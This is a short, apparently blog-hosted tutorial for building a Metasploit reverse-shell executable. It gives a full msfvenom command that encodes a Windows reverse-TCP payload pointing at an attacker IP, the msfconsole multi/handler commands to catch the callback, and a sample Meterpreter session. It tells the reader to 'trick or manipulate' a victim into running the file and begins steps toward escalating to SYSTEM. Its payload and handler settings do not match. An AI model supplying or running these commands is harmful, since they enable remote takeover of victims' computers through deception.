Metasploit:
Malicious executable creation:
Command: msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.2.120 lport=4343 -b '\x00' -e x86/shikata_ga_nai -f exe -o shell.exe
Now you need to transfer this exe to the victim. The victim needs to click on this to initiate the reverse shell. Before that in your attacking machine you need to listen for a connection so that the reverse shell from victim can connect to you easily.
Type msfconsole in your kali shell.
Type following commands one by one beside msf6>
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.120 (This is you attack machine ip)
set lport 4343
run
Now trick or manipulate victim to click on that shell.exe
You will get meterpreter shell like this.
Meterpreter session 1 opened (192.168.2.120:4343 -> 192.168.2.252:49266) at 2017-09-06 17:04:07 +0000
meterpreter>
Now if the user who clicked on the shell.exe is admin user or has admin privilege then you do not need to do anything. But if that less privilege user then you need to migrate that user privilege into high privilege something.
meterpreter> getuid (To see hostname and username)
meterpreter> ps or taskhost.exe (This command will list you number of processes running on that system. Find out a process that is running under NT AUTHORITY\SYTEM. Say that process pid is 2884.)
Comments
Post a Comment